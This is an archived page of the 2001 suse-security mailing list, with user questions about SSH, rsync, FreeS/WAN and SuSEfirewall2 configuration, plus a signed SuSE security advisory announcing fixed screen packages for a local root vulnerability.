> Once a connection to a remote machine was established 1st time, the > identificantion > will be written to ~/.ssh/known_hosts. If the ID of a remote machine > changes, e.g. > cause someone installs it new, you'll get such messages while connecting. > > Simply remove the part in ~/.ssh/known_hosts that depends on this machine. > Note that this method of operation is less secure than if you have the option "StrictHostKeyChecking yes" set, which disables automatic addition of host keys to the known hosts files and will abort any connection attempt to a host whose key differs from the one in the known hosts files. Without StrictHostKeyChecking, you are prone to the man-in-the-middle attacks that Kurt made such a fuss about around a half a year ago. Cheers Tobias

1 0

security updates
by adm 06 Sep '01

06 Sep '01

I'm not sure if there was an announcement about this before, but do those of us using 6.2 and below no longer receive updated packages for items that are found faulty? -- aron

4 3

RE: [suse-security] ssh and harden_suse
by Appeldorn 06 Sep '01

06 Sep '01

-----Original Message----- From: Appeldorn [mailto:appeldorn@codixx.de] Sent: Thursday, September 06, 2001 9:57 AM To: Wagner, Uwe Subject: RE: [suse-security] ssh and harden_suse >I want to use OpenSSH to connect to a server on which the harden_suse script >was installed. >If I try 'ssh servername' the connection was refused by the server. The >message is : ssh_exchange_identification. >If I try to connect with ssh to another server with not installed the >harden_suse script, it works. Think not the harden script is the point, but your known_hosts file. Once a connection to a remote machine was established 1st time, the identificantion will be written to ~/.ssh/known_hosts. If the ID of a remote machine changes, e.g. cause someone installs it new, you'll get such messages while connecting. Simply remove the part in ~/.ssh/known_hosts that depends on this machine. Michael

1 0

secure-rsync-mirroring
by Daniel Quappe 06 Sep '01

06 Sep '01

hi list, today i wanted to mirror two hosts by using rsync with ssh. unfortunately this are a 6.4 and 7.1 suse-system with different rsync-version (6.4 => rsync-2.3.2-22, 7.1 => rsync-2.4.6-37). after the first mirroring (got a complete list of all relevant files, okay) the next time i executed my script i got the following error: ... receiving file list ... done unexpected EOF in read_timeout i tested some hints (--timeout=1000 etc.) but nothing has lead to success. does anyone out there know the solution? many thanks in advance, daniel -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net

3 2

ssh problem
by Yuri Robbers 05 Sep '01

05 Sep '01

Hi all! I want to use OpenSSH 2.9 as shipped with SuSE 7.2 to transfer data between two servers. Such a setup has recently been discussed in this list, but in my particular situation a previously unmentioned problem arises. I have created DSA keys with ssh-keygen and copied the public keys of each machine to the other. So far, so good. But there is a complication: one of the machines is registered in my ISP's DNS records with two A records (once with a nasty name consisting of parts like the hexadecimal ip address, and once with an easier-to-remember name). So now the problem arises: I normally only use the easy-to-remember hostname: it's the one I named the machine with (not even telling it about the other one) and this is therefore also the one that ssh-keygen uses when generating the keys. Unfortunately ssh, scp and sftp resolve the IP-address to the other hostname, and fail to recognize the relevant key in $HOME/.ssh/authorized_keys2 (regardless of which "direction" I go). I assume there is an easy way to solve this, but I haven't found it. Can someone help me out? Kind regards, Yuri. -------------------------------------------------------------------------- Yuri Robbers phone : +31-71-527-4966 Leiden University fax : +31-71-527-4900 Institute for Theoretical Biology email : robbers(a)rulsfb.leidenuniv.nl Kaiserstraat 63 2311 GP Leiden PGP 5.0 public key available: the Netherlands Check your favourite hkp server. --------------------------------------------------------------------------

1 0

freeswan ???
by Dirk Ertl 05 Sep '01

05 Sep '01

Helo folks, some times ago a friend of my posted here a problem with freeswan what we have. In his first posting he made confound a network address and fixed it in last with petition for help. Is someone know about freeswan problems like this and give us an initial stage for a resulution? Thanks in advance Dirk >Hi folks, >I recognize a problem at my side. You meant "strange routing". Now I see >what you mean. >The IP's of the first GW on eth0 must be 192.168.200.1 and the IP on the >eth1 of the second GW must be 192.168.100.1. >Now I see my fault. The IP's on the boxes where set this way I told to you >in the sentence before. >By the way, I have a look at /var/log/messages and saw the message IPSec >SA established and tcpdump tells me that there are UDP:500-->500 packets >are going through the router (ip-proto-50). >I have an established IPSec-tunnel between 2 boxes. >I'm using SuSE7.1 Kern 2.4.7 and FreeS/WAN 1.91. The FreeS/WAN tells me that the >tunnel is established (last message in /var/log/messages). >My configuration is the following: >1st client-----1st-FreeS/WAN-gateway----ROUTER----2nd-FreeS/WAN-gateway------2nd-client > eth0--------------eth0------eth1----eth1-eth0----eth0--------eth1------eth0 > Virtuelles Internet between eth1 and eth0 ROUTER >Every box is a linux box! >The 1st client has the following config: RedHat7.1, IP: 192.168.200.2 >The 1st FreeS/WAN-gateway config is: SuSE 7.1, kernel 2.4.7, eth0: 192.168.100.1, eth1: 172.16.100.1, IP-forwarding without masquerading >The Router has the following config: SuSE7.1, kernel 2.4.7, eth1: 172.16.100.2, eth0 10.16.100.2, IP-forwarding without masquerading >The 2nd FreeS/WAN-gateway config is: SuSE7.1, kernel 2.4.7, eth0: 10.16.100.1, eth1: 192.168.200.1, IP-forwarding without masquerading >The 2nd client has the following config: Windows2000, eth (seems to be a littlebit stupid): 192.168.100.2 >Every netmask is 255.255.255.0; >If i start ipsec via, ipsec start at the shell, no error (exept the IPv6-bind error) occured. >Before starting IPSec the routes, the the clients can pinging each other are set by hand. FreeS/WAN sets the routes to the ipsec0 interface. >After starting you cannot ping anymore from the 1st client to the 2nd client ans the other way around. Does anybody know a solution for this problem??? >THX -- Dirk Ertl networktechnican fon : +49 179/492 63 59 mailto : dirk(a)ertl-bln.de

1 0

[suse-security] Howto spread around the ext ip adress
by Stefan Knodt 05 Sep '01

05 Sep '01

Hi, since the external adress is assigned via dhcp and changes from time to time. What ist the most secure way to spread around the external ip adress to systems behind the firewall, e.g. in a masqueraded DMZ ? BTW the systems behind the firewall runs various OS. Thanks for your advice Stefan --------------------------- sknodt(a)bluewin.ch ---------------------------

2 1

scp/sftp and chroot (OpenSSH)
by Ulf Stegemann 05 Sep '01

05 Sep '01

The following message is a courtesy copy of an article that has been posted to comp.security.unix,comp.os.linux.security as well. On our servers there exist serveral chroot accounts where users can log in and find themselves caged in their home directory. This works for telnet, ftp and ssh (OpenSSH 2.5.1). However, scp and sftp can't be used with these accounts, they simply hang after authentication. Searching the net I found that that's a known problem and that it could be solved using ssh3 (which is not an option for me) or a chroot-patch for OpenSSH together with statically compiled ssh binaries. The latter one didn't work for me and I'm wondering if anybody has another solution for the problem that a) works with OpenSSH and b) does not require to change /etc/passwd. Ulf -- not a real signature

1 0

SuSE Security Announcement: screen (SuSE-SA:2001:030)
by Roman Drahtmueller 05 Sep '01

05 Sep '01

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: screen Announcement-ID: SuSE-SA:2001:030 Date: Wednesday, September 5 2001 18:00 MEST Affected SuSE versions: (6.0, 6.1, 6.2) 6.3, 6.4, 7.0, 7.1, 7.2 Vulnerability Type: local root compromise Severity (1-10): 5 SuSE default package: yes Other affected systems: some systems with the screen program installed setuid root Content of this advisory: 1) security vulnerability resolved: screen problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information screen is a terminal multiplexer program that allows reattaching to a detached session as well as multi-attached (shared) sessions. The screen package allows a local attacker to obtain root privileges if the /usr/bin/screen command is installed setuid root and if a directory below /tmp/screens/ exists. The screen program needs root permissions from the setuid-root bit for two reasons: multi-attached sessions are only possible with root privileges, and writing terminal allocation information to /var/run/utmp (the who(1) and finger(1) commands). If the screen command is not running with special privileges, all functionality except these two features will continue to work, but the local root compromise will not be possible. In order to provide the features mentioned, the screen package used to be installed setuid-root in SuSE Linux distributions. The update packages that we provide for the supported distributions 6.3, 6.4, 7.0, 7.1 and 7.2 eliminate the error in the source code. In addition to that, the rpm package does not contain the setuid-bit on the screen program any more. If there is any more security-related bug in the screen package or libraries that it is linked against to be found in the future, these errors will not open local security holes any more. Users of the screen package who need the multi-attach feature must enable it again by adding the setuid-bit to the /usr/bin/screen file. Please note that you should reflect the changes to permissions in the files /etc/permissions*. If unsure, use the setting "secure local" for the variable PERMISSION_SECURITY in /etc/rc.config and execute "SuSEconfig" as root. Alternatively, change the settings for the screen program in /etc/permissions* and run "chkstat -set <file>" for each file that you need. Use the command "rpm -qlv screen | grep /usr/bin" to find out which files to add to the permissions file (/usr/bin/screen is a symlink). The authors of screen have released the new version screen-3.9.10 that fixes the multi-attach-error, and some other uncritical bug. Our update packages contain the necessary patches applied to the version as shipped with the original distribution. We thank Christian Hürgemann <Bzrker(a)t-online.de> for reporting this error on Monday, 3 Sep 2001. Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Uhv file.rpm" to apply the update. i386 Intel Platform: SuSE-7.2 ftp://ftp.suse.com/pub/suse/i386/update/7.2/ap1/screen-3.9.8-115.i386.rpm e85453f50170ecdabe97dd2b33b51e4a source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/screen-3.9.8-115.src.rpm 74ac0119ec42f7c5ad4405a7f1c00f6a SuSE-7.1 ftp://ftp.suse.com/pub/suse/i386/update/7.1/ap1/screen-3.9.8-115.i386.rpm fb0a3ba99db246c1f08e3814557858ae source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/screen-3.9.8-115.src.rpm 5edb0caa388be9f1ddc2cd4d0a4f3a54 SuSE-7.0 ftp://ftp.suse.com/pub/suse/i386/update/7.0/ap1/screen-3.9.8-115.i386.rpm b7bfa891b49db29093f6ab1830d84838 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/screen-3.9.8-115.src.rpm fb1e3bf070adec10296a59f2d1231c8c SuSE-6.4 ftp://ftp.suse.com/pub/suse/i386/update/6.4/ap1/screen-3.9.8-115.i386.rpm a889c9090b0a64eb57a407ee00444491 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/screen-3.9.8-115.src.rpm 29b6e24378153a4f9d2445414253759c SuSE-6.3 ftp://ftp.suse.com/pub/suse/i386/update/6.3/ap1/screen-3.9.8-115.i386.rpm 5a47bdc2407890d9a940c710d4806383 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/screen-3.9.8-115.src.rpm f3bace3114cfcb9b1b6e798ea8b93b34 Sparc Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/ap1/screen-3.9.8-61.sparc.rpm 3bfe4ac28d54ff2cab6582b2d09f3b75 source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/screen-3.9.8-61.src.rpm 17da9f63ec2b0d48b3593dacfe341a7b SuSE-7.0 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/ap1/screen-3.9.8-62.sparc.rpm 13037ae193ebd81b92ce1d94d2409421 source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/screen-3.9.8-62.src.rpm c542f1c51a701ad5dd06d9f9f3701cfb AXP Alpha Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/axp/update/7.1/ap1/screen-3.9.8-71.alpha.rpm c5239b5ca727a4f7d54589399b62a5c5 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/screen-3.9.8-71.src.rpm 4c389bca8641e3c081e992e82bc5065d SuSE-7.0 ftp://ftp.suse.com/pub/suse/axp/update/7.0/ap1/screen-3.9.8-71.alpha.rpm 9f84734233284fc9f7be494c37a4f857 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/screen-3.9.8-71.src.rpm 31920bb58b696739100e75ce363ade6d SuSE-6.4 ftp://ftp.suse.com/pub/suse/axp/update/6.4/ap1/screen-3.9.8-71.alpha.rpm a7f64468ecc5be193795ea3a530d3ead source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/screen-3.9.8-71.src.rpm dae933854ae9a7efd3e80e09641b9963 SuSE-6.3 ftp://ftp.suse.com/pub/suse/axp/update/6.3/ap1/screen-3.9.8-71.alpha.rpm f66d9c18a27cd7915d5134528b47c342 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/screen-3.9.8-71.src.rpm 13157d46457be72fd7684ca0cbe6c49b PPC Power PC Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/ap1/screen-3.9.8-52.ppc.rpm 090e4781fb4949697fb08f755a0ae12d source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/screen-3.9.8-52.src.rpm ce19f08412c6517798690fa7d99ed690 SuSE-7.0 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/ap1/screen-3.9.8-52.ppc.rpm e37b478c4ce85febc13785b4a48c68c0 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/screen-3.9.8-52.src.rpm 0594837833e05e430c52421745f1abfa SuSE-6.4 ftp://ftp.suse.com/pub/suse/ppc/update/6.4/ap1/screen-3.9.8-52.ppc.rpm 53cb3d0fdf964a4013b6aed326d77c9e source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/screen-3.9.8-52.src.rpm 89300f304c709a10975f5906bedd1529 ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - sendmail SuSE Security announcement SuSE-SA:2001:028 (sendmail) offers a sendmail update package for the 7.0-i386 distribution that has a lower version number than the package in the tree for ftp installation on ftp.suse.com. If your update rpm command fails with a complaint that the version installed is newer than the one you wish to be installed, then please use the "--oldpackage" commandline option to rpm: "rpm --oldpackage -Uhv sendmail-*.rpm". We are correcting the problem as soon as possible. The new package will be named sendmail-8.11.0-10.i386.rpm and should appear on the ftp server within the next 11 hours. The *-10 package is technically identical to the *-5 package that is currently available on our ftp server. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum <name-of-the-file.rpm> after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security(a)suse.de) the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig <file.rpm> to verify the signature of the package, where <file.rpm> is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an uninstalled rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build(a)suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the toplevel directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. =================================================== SuSE's security contact is <security(a)suse.com>. The <security(a)suse.com> public key is listed below. =================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the cleartext signature shows proof of the authenticity of the text. SuSE GmbH makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security(a)suse.de> pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org 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 =rVRn - -----END PGP PUBLIC KEY BLOCK----- -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBO5ZTFHey5gA9JdPZAQHosAf/drLZSUCL8y3JyAd9EfzXg4OctE245mjb HrAn+jgXNDHvL8SzQYFpIzt5hLiJ9WLXc0+Edu3ovKkhzCJOtWIXTu2dvOiRhF99 MO3iaqWF3J+HhGMOEr2sQWsiqVKF5Mdw13SPgiwTX3le9ropXAD8gvZCoG7WjCpb nqIbbVlY2zrxdCuoDVeLrH3FJS1TksUcga/+pdJqaPG1YgdV+UFMFbTnpEITXyNT s9vB553vw9paFf9a4LGwoht3BpwtvnPRTjQlfgApJPvMbFjTGers824cT5xOjpPz pafJ3QG9ZbiD+49yY4wXMsmBNdohGM4CFsmV5Sc8aOXFenA26Kbg4Q== =tYiI -----END PGP SIGNATURE-----

1 0

Re: [suse-security] firewall2 and SPOOFIN
by James Bliss 05 Sep '01

05 Sep '01

I believe the problem is in your FW_MASQ_NETS setting. Ping is an ICMP protocol. Why don't you try to open this up completely (internalnet/8-16-or24 - whichever appropriately applies. then test to seen what happens. then you can start restricting this more and more to tighten the controls as needed. Jim 09/05/01 10:57:34 AM, "Anthony Hogbin" <anthony.hogbin(a)btinternet.com> wrote: >Hello > >I am running repeatedly into a brick wall here over SuSEfirewall2 > >Three NIC's - a real IP DMZ, a masqueraded LAN on 192, and a DSL router >which is my DFG and name server. > >I can do most stuff I hoped it would do when I sat down and figured out what >I needed - like web, mail, imap, ssh, MSN IM blah blah. BUT I CANNOT PING. > >No where on the network can ping at all. > >Masqueraded clients can resolve but then nothing. > >This is what I get in the /var/log/firewall (where 14 is the router - and >the 192 address is the test client): > >Sep 5 15:40:40 prometheus kernel: SuSE-FW-DROP-ANTI-SPOOFIN=eth0 OUT= >MAC=00:01:02:24:8b:9a:00:20:6f:09:7c:b5:08:00 SRC=217.34.212.14 >DST=217.34.212.2 LEN=315 TOS=0x00 PREC=0x00 TTL=60 ID=42849 PROTO=UDP SPT=53 >DPT=1027 LEN=295 > >....this is just one example of many SPOOF issues - but the one that I think >points the strongest towards my current issues. > >With a bit of luck the act of asking for help will bring some >enlightenment?! > >---- > >For your entertainment (take it easy on me!) is the setup > ># 2.) >FW_DEV_EXT="eth0" > ># 3.) >FW_DEV_INT="eth2" > ># 4.) >FW_DEV_DMZ="eth1" > ># 5.) >FW_ROUTE="yes" > ># 6.) >FW_MASQUERADE="yes" >FW_MASQ_DEV="$FW_DEV_EXT" >FW_MASQ_NETS="$INT_LAN_RANGE,0/0,tcp,20 $INT_LAN_RANGE,0/0,tcp,21 >$INT_LAN_RANGE,0/0,tcp,22 $INT_LAN_RANGE,0/0,tcp,23 >$INT_LAN_RANGE,0/0,tcp,25 $INT_LAN_RANGE,0/0,tcp,37 >$INT_LAN_RANGE,0/0,udp,37 $INT_LAN_RANGE,0/0,udp,43 >$INT_LAN_RANGE,0/0,udp,53 $INT_LAN_RANGE,0/0,tcp,53 >$INT_LAN_RANGE,0/0,tcp,80 $INT_LAN_RANGE,0/0,tcp,110 >$INT_LAN_RANGE,0/0,tcp,113 $INT_LAN_RANGE,0/0,tcp,123 >$INT_LAN_RANGE,0/0,udp,123 $INT_LAN_RANGE,0/0,tcp,143 >$INT_LAN_RANGE,0/0,tcp,443 $INT_LAN_RANGE,0/0,tcp,554 >$INT_LAN_RANGE,0/0,tcp,993 $INT_LAN_RANGE,0/0,tcp,1863 >$INT_LAN_RANGE,0/0,tcp,2401 $INT_LAN_RANGE,0/0,tcp,5800 >$INT_LAN_RANGE,0/0,tcp,5900 $INT_LAN_RANGE,0/0,tcp,6800:6900 >$INT_LAN_RANGE,0/0,udp,6800:6900 $INT_LAN_RANGE,0/0,tcp,6901 >$INT_LAN_RANGE,0/0,udp,6901 $INT_LAN_RANGE,0/0,tcp,6970:7170 >$INT_LAN_RANGE,0/0,tcp,7070" > ># 7.) >FW_PROTECT_FROM_INTERNAL="yes" > ># 8.) >FW_AUTOPROTECT_SERVICES="yes" > ># 9.) >FW_SERVICES_EXT_TCP="" >FW_SERVICES_EXT_UDP="" # Common: domain >FW_SERVICES_EXT_IP="" >FW_SERVICES_DMZ_TCP="53 3128" >FW_SERVICES_DMZ_UDP="53" >FW_SERVICES_DMZ_IP="" >FW_SERVICES_INT_TCP="23 53 3128" >FW_SERVICES_INT_UDP="53" >FW_SERVICES_INT_IP="" > ># 10.) >FW_TRUSTED_NETS="$EXT_ZFT_GATE,tcp,22" > ># 11.) >FW_ALLOW_INCOMING_HIGHPORTS_TCP="yes" >FW_ALLOW_INCOMING_HIGHPORTS_UDP="yes" > ># 12.) >FW_SERVICE_AUTODETECT="yes" # Autodetect the services below when starting >FW_SERVICE_DNS="yes" >FW_SERVICE_DHCLIENT="no" >FW_SERVICE_DHCPD="no" >FW_SERVICE_SQUID="yes" >FW_SERVICE_SAMBA="no" > ># 13.) >FW_FORWARD="$INT_LAN_RANGE,$DMZ_IP_RANGE 0/0,$DMZ_EXCHANGE,tcp,25 >0/0,$DMZ_EXCHANGE,tcp,80 0/0,$DMZ_EXCHANGE,tcp,135 0/0,$DMZ_EXCHANGE,tcp,443 >0/0,$DMZ_BACKUP,tcp,21 0/0,$DMZ_BACKUP,tcp,20" > ># 14.) >FW_FORWARD_MASQ="" # Beware to use this! > ># 15.) >FW_REDIRECT="" > ># 16.) >FW_LOG_DROP_CRIT="yes" >FW_LOG_DROP_ALL="yes" >FW_LOG_ACCEPT_CRIT="no" >FW_LOG_ACCEPT_ALL="no" >FW_LOG="--log-level warning --log-tcp-options --log-ip-option --log-prefix >SuSE-FW" > ># 17.) >FW_KERNEL_SECURITY="yes" > ># 18.) >FW_STOP_KEEP_ROUTING_STATE="yes" > ># 19.) >FW_ALLOW_PING_FW="no" >FW_ALLOW_PING_DMZ="no" >FW_ALLOW_PING_EXT="yes" > > > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com > >

1 0

Re: [suse-security] Kernel
by Hendrik Brandenburger 05 Sep '01

05 Sep '01

Am Mit, 05 Sep 2001 schrieb Eduard Meiler: > > Hallo , can anybody tell me what all of this mean ?? > > > > Sep 5 00:06:35 wall kernel: eth0: Transmit error, Tx status register 82. >Hi, >just one question. Do you have a ethernetcard with the Realtek9029-Chip in ^^ Sorry, I mean 8029. Greetings Hendrik --

1 0

SuSE Firewall 2 - Masq , IRC
by Michael Brandejsky 05 Sep '01

05 Sep '01

Dear List, i have Suse 7.2 Pro and the SuSE Firewall2 , ftp, www masquerade works fine but i have a problem to tranfer DCC Files in IRC , time ago there are some IRC Masq Modules, but they are not compatible to the 2.4.x Kernel. So , what should I do to use DCC Sends. I don't want to install an old kernel. greetings

2 1

Kernel
by Eduard Meiler 05 Sep '01

05 Sep '01

